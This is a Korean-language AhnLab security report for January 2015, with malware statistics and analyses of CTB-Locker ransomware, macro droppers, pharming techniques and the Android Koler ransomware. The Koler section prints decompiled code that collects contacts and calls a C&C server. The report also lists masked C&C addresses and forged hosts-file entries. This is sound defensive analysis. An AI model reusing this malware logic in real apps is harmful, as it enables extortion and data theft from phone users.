Security Trend ASEC Report VOL.61 January, 2015
ASEC Report VOL.61 January, 2015 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된 글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC 에서작성하며, 매월발생한주요보안위협과이슈에대응하는최신보안기술에대한요약정 보를담고있습니다. 자세한내용은안랩닷컴 (www.ahnlab.com) 에서확인하실수있습니다. 2015 년 1 월보안동향 Table of Contents 1 보안통계 STATISTICS 01 악성코드통계 02 웹통계 03 모바일통계 4 6 7 2 보안이슈 SECURITY ISSUE 01 비트코인요구하는랜섬웨어 CTB-로커 02 문서파일의매크로기능악용및문서아이콘으로위장한악성코드 03 파밍악성코드의 6가지공격유형 10 14 17 3 악성코드상세분석 ANALYSIS IN-DEPTH FBI 사칭해음란물소지혐의로협박하는악성앱 Koler 22 ASEC REPORT 61 Security Trend 2
1 보안통계 STATISTICS 01 악성코드통계 02 웹통계 03 모바일통계 ASEC REPORT 61 Security Trend
보안통계 01 악성코드통계 Statistics ASEC 이집계한바에따르면 2015 년 1 월한달간탐지된악성코드수는 3,689 만 5,683 건이다. 이는전 월 2,695 만 5,828 건보다 993 만 9,855 건증가한수치다. 한편 1 월에수집된악성코드샘플수는 354 만 9,667 건이다. [ 그림 1-1] 에서 탐지건수 란고객이사용중인 V3 등안랩의제품이탐지한악성코드의수를의미하며, 샘플 수집수 는안랩이자체적으로수집한전체악성코드의샘플수를의미한다. 40,000,000 36,895,683 30,000,000 20,000,000 26,955,828 10,000,000 6,000,000 5,000,000 4,000,000 4,263,988 3,000,000 2,000,000 1,000,000 6,059,563 6,079,293 3,549,667 탐지건수샘플수집수 11 월 12 월 01 월 [ 그림 1-1] 악성코드추이 (2014 년 11 월 ~ 2015 년 1 월 ) ASEC REPORT 61 Security Trend 4
[ 그림 1-2] 는 2015 년 1 월한달간유포된악성코드를주요유형별로집계한결과이다. 불필요한프로그램 인 PUP(Potentially Unwanted Program) 가 49.29% 로가장높은비중을차지했고, 트로이목마 (Trojan) 계열의악성코드가 29.85%, 애드웨어 (Adware) 가 5.06% 로그뒤를이었다. 0.47% 3.16% 5.06% 49.29% 12.17% 29.85% PUP Trojan etc Adware Worm Downloader [ 그림 1-2] 2015 년 1 월주요악성코드유형 [ 표 1-1] 은 1 월한달간가장빈번하게탐지된악성코드 10 건을진단명기준으로정리한것이다. PUP/ Win32.MyWebSearch 가총 288 만 7,762 건으로가장많이탐지되었고, PUP/Win32.IntClient 가 221 만 323 건으로그뒤를이었다. [ 표 1-1] 2015년 1월악성코드탐지최다 10건 ( 진단명기준 ) 순위 악성코드진단명 탐지건수 1 PUP/Win32. MyWebSearch 2,287,762 2 PUP/Win32. IntClient 2,210,323 3 PUP/Win32.Helper 1,850,954 4 PUP/Win32.MicroLab 1,682,998 5 PUP/Win32.BrowseFox 1,606,363 6 PUP/Win32.SubShop 1,498,887 7 PUP/Win32.CrossRider 1,236,384 8 PUP/Win32.CloverPlus 742,503 9 PUP/Win32.Generic 717,565 10 PUP/Win32.WindowsTap 663,434 ASEC REPORT 61 Security Trend 5
보안통계 02 웹통계 Statistics 2015 년 1 월악성코드유포지로악용된도메인은 1,917 개, URL 은 2 만 4,254 개로집계됐다. 또한 1 월의 악성도메인및 URL 차단건수는총 810 만 4,699 건이다. 악성도메인및 URL 차단건수는 PC 등시스템 이악성코드유포지로악용된웹사이트의접속을차단한수이다. 9,000,000 8,104,699 8,000,000 7,000,000 6,000,000 6,330,313 6,420,752 5,000,000 4,000,000 40,000 30,000 24,254 20,000 10,000 946 6,018 1,460 11,612 1,917 악성도메인 /URL 차단건수 악성코드유포도메인수 0 11 월 12 월 01 월 악성코드유포 URL 수 [ 그림 1-3] 악성코드유포도메인 /URL 탐지및차단건수 (2014 년 11 월 ~ 2015 년 1 월 ) ASEC REPORT 61 Security Trend 6
보안통계 03 모바일통계 Statistics 2015 년 1 월한달간탐지된모바일악성코드는 10 만 8,607 건으로집계되었다. 250,000 200,000 150,000 100,000 98,555 149,806 108,607 50,000 0 11 월 12 월 01 월 [ 그림 1-4] 모바일악성코드추이 (2014 년 11 월 ~ 2015 년 1 월 ) ASEC REPORT 61 Security Trend 7
[ 표 1-2] 는 1 월한달간탐지된모바일악성코드유형중상위 10 건을정리한것이다. Android-PUP/ SmsReg 는지난달보다 2 만 3,000 여건감소한반면 Dowgin 은 1 만여건증가했다. [ 표 1-2] 2015 년 1 월유형별모바일악성코드탐지상위 10 건 순위악성코드진단명탐지건수 1 Android-PUP/Dowgin 24,493 2 Android-PUP/SmsReg 17,901 3 Android-Trojan/FakeInst 8,566 4 Android-Trojan/Opfake 2,887 5 Android-PUP/Noico 2,670 6 Android-Trojan/Mseg 2,344 7 Android-Trojan/SMSAgent 2,187 8 Android-PUP/Panhom 2,038 9 Android-PUP/Wapsx 1,916 10 Android-Trojan/SmsSend 1,646 ASEC REPORT 61 Security Trend 8
2 보안이슈 SECURITY ISSUE 01 비트코인요구하는랜섬웨어 CTB-로커 02 문서파일의매크로기능악용및문서아이콘으로위장한악성코드 03 파밍악성코드의 6가지공격유형 ASEC REPORT 61 Security Trend
보안이슈 01 비트코인요구하는랜섬웨어 CTB- 로커 Security Issue 최근 CTB-로커(Curve-Tor-Bitcoin Locker) 가국내에급속히증가함에따라랜섬웨어 (Ransomware) 에대한관심이높아지고있다. 랜섬웨어는 2005년신종보안위협으로처음보도되면서국내에알려졌다. 당시랜섬웨어는러시아와동유럽국가에한정되어있었다. [ 그림 2-1] 은첨부파일을통해유포되고있는랜섬웨어 CTB-로커의메일원문이다. 하지만인터넷이발전하고유포방식이다양해지면서랜섬웨어의위협은전세계로퍼져나가고있다. 다양한방법을통해불특정다수를대상으로한다는점, 감염 PC의데이터복구를위해대가를지불하는피해자가많다는점때문에악성코드제작자는랜섬웨어를수익모델로삼는경우가많다. 몇년동안공격수법도진화를거듭하여꾸준히새로운변종이등장하고있어주의가요구된다. 일반적인악성코드는사용자가감염되었다는사실을인지하지못하도록자신을숨기는것이특징이다. 반면랜섬웨어는사용자 PC의 가용성 을빌미로금전을취득해야하는만큼사용자에게감염사실을보다자극적으로알리려고한다. 그림 2-1 랜섬웨어 CTB- 로커의메일원문 메일의첨부파일은압축되어있으며압축을풀면 [ 그림 2-2] 와같이파일의확장자를볼수있다. 파일의확장자는일반적인실행파일의 EXE 가아닌화면보호기파일확장자인 SCR 이다. 하지만대부분의사용자는윈도탐색기옵션중 [ 폴더옵션 ] - [ 알려진파일형식의파일확장명숨기기 ] 를사용하는경우가대부분이어서파일명인 hunkered 만표기된다. 이때문에사용자는별다른의심없이파일을실행한다. ASEC REPORT 61 Security Trend 10
그림 2-2 확장자가보이지않는상태 ( 좌 ) / 확장자가보이는상태 ( 우 ) hunkered.scr 아이콘을실행하면문서파일이사 용자에게보인다. 1**.*5.3*.5:443 1**.15*.1**.7*:443 7*.*3.*7.*4:9090 1*.*9.*6.*2:443 1*.*1.*6.*6:443 1*.1*.1*.*2:443 8*.*9.**.*8:443 네트워크연결을시도하는 IP 중일부는토르 (Tor) 네트워크로접속을시도한다. 이는토르네트워크특성상추적이힘든점을이용한것으로, 공격자가사용자의정보수집시이용하는것으로추정된다. 그림 2-3 문서의내용 실행된파일은단순한문서파일이지만파일실행과동시에또다른악성파일을생성하며, 외부네트워크에연결을시도한다. [ 표 2-1] 에서생성된파일 12200593.exe( 랜덤파일명 ) 와 qgkhcub.exe 는같은파일이다. qgkhcub.exe는시스템에존재하는파일을암호화한다. qgkhcub.exe가실행되면 [ 그림 2-4] 와같이사용자에게파일이암호화된사실과복호화방법을바탕화면에경고팝업창을통해알린다. 표 2-1 생성되는파일 [ 생성되는파일 ] C: DOCUME~1 ADMINI~1 LOCALS~1 Temp hunkered.rtf C: DOCUME~1 ADMINI~1 LOCALS~1 Temp 12200593.exe ( 랜덤파일명 ) C: DOCUME~1 ADMINI~1 LOCALS~1 Temp qgkhcub.exe 그림 2-4 변경된바탕화면 표 2-2 외부네트워크연결 [ 외부네트워크연결 ] 157.56.96.56:80 windowsupdate.microsoft.com 2**.1**.3*.1**:443 1**.9*.*.7:443 2**.1**.3*.1*:443 2**.1**.3*.3:443 46.19.37.108:80 ip.*****.com 그림 2-5 사용자에게띄워주는경고팝업창 ASEC REPORT 61 Security Trend 11
악성코드는확장자파일을모두암호화시키며, 암호화대상파일의확장자는 [ 표 2-3] 과같다. 이후파일복호화를진행하면 [ 그림 2-8] 과같이비 트코인결제방법을안내한다. 표 2-3 암호화대상파일확장자 [ 암호화대상파일확장자 ].AI,.C,.CDR,.CER,.CRT,.DBF,.DER,.DOC,.DOCM,.DOCX,.EPS,.JPEG,.JPG,.JS,.MDB,.P12,.PAS,.PDF,.PFX,.PHP,.PL,.PPT,.PPTX,.PST,.PY,.RTF,.SQL,.TXT,.XLK,.XLS,.XLSM,.XLSX, etc 암호화대상파일확장자에는 공인인증서관련파일, 그림파일, 문서파일, 아웃룩데이터백업파일 등대부분자주사용하는것들이다. 랜섬웨어에감염된파일은암호화되어사용자들은불편을겪는다. 또한, 이전의랜섬웨어와동일하게사용자에게테스트로암호화된파일의복호화기능을제공하며이를대가로사용자에게결제를유도한다. 그림 2-6 사용자의결제를유도하는메시지 [ 그림 2-7] 과같이암호화된파일들은확장자뒤에랜덤문자열로구성된문자가추가된다. 그림 2-8 비트코인결제방법안내 하지만결제를하더라도파일이복구될가능성은낮다. 랜섬웨어는 AES 256, RSA 1024, RSA 2048 등다양한암호화알고리즘을사용한다. 이러한암호화알고리즘을깨기위한시간은수백년, 길게는수천년이상걸린다고한다. 따라서파일이암호화되면키없이복호화하는것은거의불가능하다. 감염된파일을치료할수없다면감염을예방하는방법이최우선이다. 악성코드의유입을사전에차단하면좋겠지만지금도수많은변종랜섬웨어가유포되고있어백신에만의존하기는어렵다. 그렇다고방법이없는것은아니다. 간단한방법으로랜섬웨어의감염을예방할수있는팁을소개한다. 원본을수정하는랜섬웨어는파일을읽어온후암호화알고리즘을통해데이터를수정한다. 그전에파일을수정하지못하도록막으면위협에서안전하다. 윈도에서는클릭몇번만으로파일의속성을변경할수있다. 중요파일을읽기전용으로변경하면랜섬웨어에의한감염을예방할수있다. 그림 2-7 암호화되어확장자가변경된파일 ASEC REPORT 61 Security Trend 12
그림 2-9 읽기전용으로변경해서랜섬웨어에감염되지않은파일 그림 2-10 백업및복원 윈도 7 이상의운영체제사용자라면, 윈도에서기본적으로제공하는백업및복원기능을이용하여파일, 폴더, 드라이브단위로중요데이터를저장하는방법을추천한다. 백업한파일은윈도가설치되어있는로컬드라이브외에다른드라이브나외부저장장치에저장하는것이안전하다. 한편, V3 제품에서는관련악성코드를다음과같이진단가능하다. <V3 제품군의진단명 > Trojan/Win32.Agent (2015.01.20.04) Trojan/Win32.CTBLocker (2015.01.21.04) Trojan/Win32.Ransom (2015.01.20.04) ASEC REPORT 61 Security Trend 13
보안이슈 02 문서파일의매크로기능악용및문서아이콘으로위장한악성코드 Security Issue 일반인들에게 PE(Portable Executable) 파일은생소하다. PE 파일은마이크로소프트의윈도 3.1부터지원되는실행파일이다. 사람들은실행파일이라는개념보다는확장자가 EXE 인파일에더익숙하다. 또한정보가넘쳐나는사이트, 블로그, 게시판또는메일내첨부된다수의실행파일들이안전하지않다는것은다아는사실이다. 그럼에도불구하고대부분의인터넷사용자들은문서파일 (PDF, DOC, HWP 등 ) 에대한보안의식이매우약하다. [ 그림 2-11] 은최근접수된악의적인매크로기능이추가된 MS 워드 (.doc) 파일이다. 매크로는문서작업의효율을높여주는유용한기능이지만, 사용자몰래악성코드를심을수있는위험한기능이될수도있다. 흔히 APT(Advanced Persistent Threat) 공격으로불리는지능화된악성코드의표적공격에문서파일이자주사용된다. 주의만하면 APT 공격으로부터안전할것이라는방심은금물이다. 누구라도사회공학적기법을이용한악성코드공격의피해자가될수있다는사실을인지하고주의하는것이중요하다. 그림 2-12 매크로기능 On 유도 [ 그림 2-12] 와같이 MS워드문서를실행하면문서상단바에매크로기능 OFF 알림메시지가나타나며, 매크로가자동으로동작하지않도록차단된다. 참고로매크로기능은보안상의문제로기본설정값이 OFF로되어있다. 그림 2-11 doc 파일 사용자입장에서매크로기능이차단됐다는보안경고알림메시지를본다면해당문서파일을닫을것이 ASEC REPORT 61 Security Trend 14
다. 하지만공격자는매우지능적으로 본문서는보안상모자이크처리됐으며, 문서상단의옵션을클릭하여활성화바람 이라는본문내용과함께이미지를흐리게처리했다. 아무리보안의식이높은사용자여도호기심이생길수있다. Settings [ 사용자계정 ] Local Settings Te mp msgss.exe 경로로자가복제한다. 또한 HKCU Software Microsoft Windo ws CurrentVersion Outlook 레지스트리키값을등록하여시스템시작시자동실행된다. 그림 2-13 doc 파일에삽입된매크로코드 그림 2-15 사용자가입력한키값을 C&C 서버로전송 해당문서의매크로기능을활성화하면 C: Windows Temp 경로에 adobeacdup-date. bat 와 adobeacd-updatexp.vbs 파일을생성하며, 배치 (batch) 파일에의해 adobeacdupdatexp.vbs 파일이실행된후자가삭제된다. 이후 x.exe 파일은사용중인프로그램정보와사용자가입력하는키값을일정시간마다 C&C서버 (1**.2*3.2**.2*9) 로전송한다. 위의악성코드는매크로기능을이용했지만그외에도 HWP, PDF, DOC 문서의취약점을이용한공격과단순히문서아이콘을도용한악성코드또한지속적으로발견되고있다. 문서아이콘을도용할때는파일의확장명숨김속성을악용하여사용자를속이는방법을이용한다. 최근에는엑셀문서아이콘을도용하여국가전략연구회정책위원명단으로위장한악성코드가발견되었다. 그림 2-14 adobeacd-updatexp.vbs 파일정보 배치파일에의해실행된 adobeacd-updatexp. vbs 는 C&C 서버로부터 x.exe 파일이추가로다운 및실행된다. 이후 x.exe 는 C: Documents and 그림 2-16 알려진파일형식의파일확장명숨기기해제 ASEC REPORT 61 Security Trend 15
[ 그림 2-16] 과같이 알려진파일형식의파일확장명숨기기 폴더옵션이적용되면엑셀파일처럼보일수있으나실제확장명은 exe로, 엑셀아이콘을위장한실행파일이다. 해당파일은내부에엑셀파일을포함하고있으며, 파일을실행하면엑셀파일 2015 정책위원.xlsx 와 conhost.exe 를동시에생성한후실행한다. 이후생성된엑셀파일을자동으로실행하고, 윈도실행명령을통해처음실행된파일 2015 정책위원 [1].xlsx.exe 를삭제하기때문에사용자는악성코드감염여부를알기어렵다. 표 2-4 생성되는악성파일1 [ 생성되는악성파일 1] C: Documents and Settings Administrator Local Settings Temp conhost.exe ( 악성파일이실행된폴더경로 ) 2015 정책위원.xlsx conhost.exe는 dfea.exe 파일을생성한후실행하며, dfea.exe는시스템이시작할때마다자동실행되도록시작프로그램에등록한다. 표 2-5 생성되는악성파일2 [ 생성되는악성파일2] C: WINDOWS tasks dfea.exe 표 2-6 추가되는레지스트리값 [ 추가되는레지스트리값 ] HKCU Software Microsoft Windows CurrentVersion Ru n dfea "C: WINDOWS tasks dfea.exe 테스트당시네트워크연결은되지않았으나, [ 표 2-7] 의 C&C 서버주소로접속을시도한것으로추정된다. 표 2-7 C&C 서버주소 [C&C 서버주소 ] h***ing.m**nc.com http://www.fa****ok.com/******file/***e/x/o0.asp 그림 2-17 2015 정책위원 [1].xlsx.exe 에포함된엑셀파일의일부분 이처럼점점더지능화되는악성코드로부터피해를최소화하려면보안수칙을잘지키는습관이중요하다. 발신이불분명한메일내첨부파일은호기심이생기더라도실행시키지않아야한다. V3 제품에서는관련악성코드를다음과같이진단가능하다. 그림 2-18 악성코드와동시에실행되는 2015 정책위원.xlsx 문서파일 <V3 제품군의진단명 > Dropper/Win32.Agent (2015.01.20.04) DOC/Downloader (2014.12.27.00) Trojan/Win32.Backdoor (2015.01.24.02) ASEC REPORT 61 Security Trend 16
보안이슈 Security Issue 03 파밍악성코드의 6가지공격유형 2014년한해를뜨겁게달군 파밍 (Pharming) 공격은여전히현재진행형이다. 파밍은사용자 PC에악성코드를감염시켜은행사이트에접속할경우가짜사이트로연결되도록조작해금융정보를빼내는공격방법이다. 이러한가짜사이트는실제사이트와유사하므로주의가필요하다. 가짜사이트를인지하지못한다면파밍공격의피해자가될수있기때문이다. 공격자는피해자가인지하지못하도록가짜사이트로연결하기위해많은방법을사용해왔다. 공격자가그동안사용해온방법의변화를알아보자. 1. 호스트파일변조 [ 그림 2-19] 와같이일반적으로사용자가웹사이트에접속하기위해 URL을입력하면사용자시스템의 호스트 (host) 파일을확인한다. 파일내부에입력된영문주소가있으면파일에기록된 IP 주소로웹사이트에연결된다. 파일내부에영문주소가없으면외부네트워크에있는 DNS(Domain Name System) 서버를통해변환된 IP 주소로웹사이트에연결된다. 그림 2-19 웹사이트접속과정 이때, 공격자는이를활용하여사용자를가짜사이트로접속하도록유도하였다. 악성코드에감염되면시스템에존재하는 C: Windows System32 drivers etc hosts 파일을 [ 표 2-8] 과같이변조한다. 표 2-8 변조된호스트파일 [hosts] 1**.7*.2**.8* *****.com 1**.7*.2**.8* www.****.net 1**.7*.2**.8* www.*****.co.kr 1**.7*.2**.8* *****.co.kr 1**.7*.2**.8* www.****.co.kr 1**.7*.2**.8* ****.Co.Kr 1**.7*.2**.8* www.****.net 1**.7*.2**.8* *******.NeT 이하생략 [ 표 2-8] 의좌측에는공격자가제작한가짜사이트의 IP 주소가기록되며우측에는포털사이트및금융 ASEC REPORT 61 Security Trend 17
사이트의 URL 이기록된다. 호스트파일이변조되면 정상 URL 을입력해도사용자가모르는사이가짜 사이트로연결된다. 또한호스트파일과변조여부탐지를막기위해다수의공백문자 (NULL) 를파일에삽입하여호스트파일의용량을늘리거나알수없는숫자를삽입하기도한다. 표 2-9 탐지를막기위해변조된호스트파일 그림 2-20 호스트파일변조후웹사이트접속과정 2. hosts.ics 파일변조호스트파일을변조한웹사이트가증가하고호스트파일의변조여부를각종보안프로그램이탐지하자, 공격자는새로운파일을변조하게되었다. 바로 hosts.ics 파일변조이다. hosts 파일과무슨차이가있을까싶지만두파일은 C: Windows Syst em32 drivers etc 경로에서생성되는공통점은있지만참조우선순위가다르다. 웹사이트에접속할때 hotst 파일보다 hosts.ics 파일을먼저확인하는것이차이점이다. [hosts] 3*.2**.1*.1** *****.com 1030 3*.2**.1*.1** www.*****.com 29458 3*.2**.1*.1** ****.net 32326 3*.2**.1*.1** *******.net 22571 3*.2**.1*.1** www.*******.net 9672 3*.2**.1*.1** ****.com 11386 3*.2**.1*.1** www.****.com 19198 이하다수의공백문자 3. 팝업이미지삽입호스트파일을변조하지않고사용자몰래실행된악성코드는시스템의인터넷익스플로러활동을감시한다. 정해진조건에만족하면실행중인웹페이지화면위에가짜사이트로연결되는이미지를표시한다. 이후사용자가링크를클릭하면가짜사이트로연결된다. 따라서보안프로그램에의해변조여부를감시받는호스트파일을변조하지않고, hosts.ics 파일을변조하여사용자를가짜사이트로유도하는것이다. 그림 2-22 호스트파일을변조하지않고가짜사이트로유도하는과정 그림 2-21 호스트파일변조후웹사이트접속과정 4. VPN 터널링위의 팝업이미지삽입 방식과유사하지만가짜사 ASEC REPORT 61 Security Trend 18
이트로연결할때가상사설망 (Virtual Private Network, VPN) 을이용하여연결하는방법도있 다. 6. DNS 주소변조호스트파일을변조하지않고감염된시스템의 DNS 서버주소를변경하는방법도있다. 그림 2-23 파밍사이트접속경고안내페이지 5. 메모리패치공격자는호스트파일을변조하지만 C: Window s System32 drivers etc 경로에저장하지않는다. 대신 C: Windows System32 drivers 임의폴더명 임의파일명 으로저장한다. 그리고함께실행된악성코드로인해웹사이트접속시메모리상에존재하는호스트파일참조경로를 C: Windows System32 drivers 임의폴더명 임의파일명 으로변경한다. 이렇게경로가변경되면정상경로의호스트파일을참조하지않고변경된경로의변조된호스트파일을참조한다. 그림 2-25 변조된 DNS 서버주소 [ 그림 2-25] 와같이 DNS 서버주소가 127.0.0.1 로변경되면악성코드에감염된 PC는 DNS 서버가된다. 따라서웹사이트접속시외부의 DNS 서버에접속하지않고감염된 PC로접근한다. 이후실행중인악성코드에의해가짜사이트로연결되는 IP 주소를수신한다. 그림 2-24 메모리패치과정 그림 2-26 변조된 DNS 주소를가질때웹사이트접속과정 ASEC REPORT 61 Security Trend 19
이러한파밍악성코드는보안프로그램의탐지를피하기위해끊임없이변화하고있다. 파밍악성코드감염을예방하려면보안업데이트를꼼꼼히확인하고, 설치한백신제품을최신버전으로유지해야한다. V3 제품에서는관련악성코드를다음과같이진단가능하다. <V3 제품군의진단명 > Trojan/Win32.Banki (2014.08.29.00) Trojan/Win32.Agent (2014.09.11.03) Trojan/Win32.Qhosts (2014.09.12.00) Trojan/Win32.Connector (2014.11.15.00) Trojan/Win32.Banker (2014.11.24.04) Trojan/Win32.StartPage (2014.12.30.00) ASEC REPORT 61 Security Trend 20
3 악성코드상세분석 Analysis-In-Depth FBI 사칭해음란물소지혐의로협박하는악성앱 Koler ASEC REPORT 61 Security Trend
악성코드상세분석 Analysis-In-Depth FBI 사칭해음란물소지혐의로협박하는악성앱 Koler 스마트폰사용자를협박하여금전을갈취하는다양한형태의악성앱이등장하고있다. 이글에서는최근화제가된해외스마트폰사용자들을노린금품갈취형악성앱 Android-Trojan/Koler 에대해상세히살펴본다. 1. 개요 Android-Trojan/Koler는성인동영상플레이어앱으로위장하여사용자스마트폰에설치되며, 이앱을실행하면웹사이트화면으로성인동영상목록을보여준다. 이어 FBI를사칭한 불법성인동영상을소지한사실이적발되었다 는경고창이나타나고벌금 500달러를지불할것을요구한다. 권위있는수사기관인 FBI를사칭해사용자에게두려움을느끼게하여돈을지불하게만드는수법으로, 일종의사회공학기법을이용한악성앱이다. 기술적인기법면에서보면, 악성앱의화면으로스마트폰의모든화면을덮어버리고다른화면이나타날때또다시자신의화면을나타나게해사용자의스마트폰사용을방해하는방식을사용한다. 사용자는해당앱에의한허위경고창을종료할수없으며스마트 폰기기의버튼입력또한제한된다. 또한스마트폰을재부팅하더라도동일한경고창이나타나사용자는정상적으로스마트폰을이용할수없다. 2. 주요기능악성앱 Android-Trojan/Koler가처음실행되면스마트폰에저장된연락처정보, 이메일계정정보, 빌드버전, 기기이름, 제조사정보, 전화번호, 국가정보등을공격자의서버로전송한다. 또한스마트폰기기의전면카메라를이용해사용자의얼굴촬영을시도하고촬영한이미지를저장한다. 앞서언급한데이터들과함께촬영한사용자사진을서버로전송하고나면또다른웹화면을나타낸다. 이웹화면은항상최상위에서나타나고단말기의버튼이용을제한해사용자가화면을종료할수없게한다. 재부팅을하더라도부팅후다시해당웹사이트를호출하여화면에나타낸다. 또한사용자가기기관리자권한을해제하기위해 확인 버튼을누르면 애플리케이션의모든데이터가초기화된다 는경고문구를나타내관리자권한해제를하지않도록유도한다. Android-Trojan/Koler는 ASEC REPORT 61 Security Trend 22
이외에도서버에서전달받은명령어에따라프로세스를종료하는기능도갖고있다. 그러나일정시간이지나면해당앱은 FBI 로고와함께 [ 그림 3-3] 과같은허위경고창을나타낸다. 3. 설치및증상 Android-Trojan/Koler는 PornDroid 라는이름의앱으로유포되었다. 앱설치시, [ 그림 3-1] 과같이연락처, 카메라, 인터넷사용에대한권한을요구한다. 그림 3-3 FBI 를사칭한허위경고창 그림 3-1 허위앱 PornDroid 설치시권한요구 이앱을실행하면 기기관리자 권한을요구한다. 사용자가별다른의심없이 실행 버튼을클릭하면해당앱이계속실행되면서성인동영상이미지를노출하고이를클릭하면동영상을재생한다. 해당경고창은 아동음란물을소지한것을감지했고, 이는범죄행위이므로디바이스잠금기능을적용했으며 500달러의벌금을지불하라 는내용을담고있다. 또한단말기정보와전화번호, 연락처정보를보여주고, 스마트폰의전면카메라로사용자의얼굴을촬영했으며이정보가 FBI에등록되었다고경고한다. 이어단속되었다는아동음란물화면을보여준다. 이경고창이나타나면모든단말기버튼의동작이제한되며, 사용자는해당화면을종료할수없다. 겨우해당화면을종료하더라도곧다시나타난다. 4. 동작방식상세분석악성앱 Android-Trojan/Koler의명세서인 AndroidManifest.xml 파일은 [ 그림 3-4] 와같다. 그림 3-2 기기관리자권한실행후성인이미지가노출됨 <?xml version='1.0' encoding='utf-8'?> <manifest xmlns:android="http://schemas.android.com/apk/ res/android" android:versioncode="1" android:versionname="1.0" package="hmv. paafyx.bbuzrdt"> ASEC REPORT 61 Security Trend 23
<uses-sdk android:minsdkversion="9"/> <uses-permission android:name="android.permission. INTERNET"/> <uses-permission android:name="android.permission. ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission. READ_PHONE_STATE"/> <uses-permission android:name="android.permission. RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission. WAKE_LOCK"/> <uses-permission android:name="android.permission.get_ ACCOUNTS"/> <uses-permission android:name="android.permission. WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission. READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission. SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="android.permission. CAMERA"/> <uses-permission android:name="android.permission. READ_CONTACTS"/> <uses-permission android:name="android.permission.get_ TASKS"/> <uses-permission android:name="android.permission. WRITE_SETTINGS"/> <uses-permission android:name="android.permission. VIBRATE"/> <uses-feature android:name="android.hardware.camera. front" android:required="false"/> <uses-feature android:name="android.hardware.telephony"/> <uses-permission android:name="android.permission. READ_CONTACTS"/> <application android:label="@0x7f050000" android:icon="@0x 7f020001" android:screenorientation="1" android:configchanges="0xb0"> <activity android:label="@0x7f050000" android:icon="@0x 7f020001" android:name="sampleoverlayshowactivity" android:screenori entation="1" android:configchanges="0xb0"> <intent-filter> <action android:name="android.intent.action.main"/> <category android:name="android.intent.category. LAUNCHER"/> </intent-filter> </activity> <activity android:theme="@0x103000b" android:name="sa mpleoverlayhideactivity"/> <service android:name="overlayservice"/> <receiver android:name="hmv.paafyx.bbuzrdt.bootme" android:permission="android.permission.receive_boot_ COMPLETED"> <intent-filter android:priority="999"> <action android:name="android.intent.action. REBOOT"/> <action android:name="android.intent.action.boot_ COMPLETED"/> <action android:name="android.intent.action. QUICKBOOT_POWERON"/> </intent-filter> </receiver> <receiver android:name="hmv.paafyx.bbuzrdt.alarmmanag erbroadcastreceiver"/> <receiver android:label="porndroid" android:name="hmv. paafyx.bbuzrdt.catcher" android:permission="android. permission.bind_device_admin" android:enabled="true"> <meta-data android:name="android.app.device_admin" android:resource="@0x7f040000"/> <meta-data android:name="checkdelay" android:value="1"/> <meta-data android:name="preventrestart" android:value="true"/> <meta-data android:name="stopondevicelock" android:value="false"/> <intent-filter> <action android:name="android.app.action.action_ DEVICE_ADMIN_DISABLED"/> <action android:name="android.app.action.action_ DEVICE_ADMIN_DISABLE_REQUESTED"/> <action android:name="android.app.action.device_ ADMIN_ENABLED"/> </intent-filter> <category android:name="android.intent.category. DEFAULT"/> </receiver> <meta-data android:name="sub" android:value="8"/> </application> </manifest> 그림 3-4 Android-Trojan/Koler의 AndroidManifest.xml ASEC REPORT 61 Security Trend 24
AndroidManifest.xml에따르면악성앱 Android-Trojan/Koler는연락처정보와외부저장소에대한접근권한을요구한다. 네트워크상태를확인하고인터넷에접속할수있다. 카메라에관한권한을요구하는데, 전면카메라에대한권한을요구하고있다. 디바이스가부팅되면자동으로실행하고기기관리자권한에대한동작을하는기능이있다. 4.1. 악성앱시작안드로이드앱의실행부인 classes.dex 파일내부의클래스들과연관된권한, 문자열등의관계를시각화시켜보면 [ 그림 3-5] 와같다. EP에서메인액티비티인 SampleOverlayShowActivity 와그내부에서실행되는 RequestTask, PhotoMaker, catcher, TestWebViewClient, WebAppInterface 클래스들을볼수있다. 그림 3-5 classes.dex 파일내부의클래스관계도 [ 그림 3-5] 의주요클래스와그기능을정리하면 [ 그림 3-6] 과같다. SampleOverlayShowActivity RequesTask PhotoMaker catcher TestWebViewClient WebAppInterface 연락처정보 관리자권한 WebView 를통해 file:///android_asset/video.html 실행 http://advsystempi.com/api/app.php 연결 단말기기본정보전송 서버로부터명령어수신 전면부카메라실행 사진촬영후사진저장 관리자권한 동영상 URL 자바스크립트인터페이스 봇기능 그림 3-6 Android-Trojan/Koler 앱의주요클래스및기능 4.2. SampleOverlayShowActivity 메인액티비티인 SampleOverlayShowActivity 클래스를자세히살펴보면 [ 그림 3-7] 과같다. protected void oncreate(bundle p21) { this.oncreate(p21); if(this.getsharedpreferences("cocon", 0).getInt("status", 0) == 77) { Process.killProcess(Process.myPid()); v1 = new RequestTask(this); v2 = new String[3]; v2[0] = "http://advsystemapi.com/api/app.php"; v2[1] = "start"; v2[2] = ""; v1.execute(v2); v9 = this.managedquery(contactscontract$commondatak inds$phone.content_uri, 0, 0, 0, 0).getCount(); v18 = 0; v14 = this.getcontentresolver().query(contactscontract$c ommondatakinds$phone.content_uri, 0, 0, 0, 0); v13 = ""; ASEC REPORT 61 Security Trend 25
while (v14.movetonext()!= 0) { v18 = (v18 + 1); v13 = new StringBuilder(String.valueOf(v13)).append(v14. getstring(v14.getcolumnindex("data1"))).append(" ").append(v14. getstring(v14.getcolumnindex("display_name"))).append(" ").tostring(); if(v18 > 5) { break; v12 = this.getsharedpreferences("cocon", 0).edit(); v12.putint("countphones", v9); v12.putstring("listphones", v13); v12.commit(); this.devicepolicymanager = this.getsystemservice("device_ policy"); this.demodeviceadmin = new ComponentName(this, catcher); if(this.devicepolicymanager.isadminactive(this. demodeviceadmin) == 0) { this.ebat(); else { this.colotit(); return; 그림 3-7 SampleOverlayShowActivity 클래스 SampleOverlayShowActivity 클래스에따르면, 해당악성앱은 RequestTask를호출하면서파라미터로서버주소인 http://advsystemapi. com/api/app.php를사용한다. 또한스마트폰에저장된연락처개수와연락처정보를읽어 SharedPreferences에저장한다. 악성앱에관리자권한이부여되었는지를확인하고관리자권한이없을경우 ebat를호출해서관리자권한을얻는다. 관리자권한이있으면 colotit를호출한다. protected void ebat() { v0 = new Intent("android.app.action.ADD_DEVICE_ADMIN"); 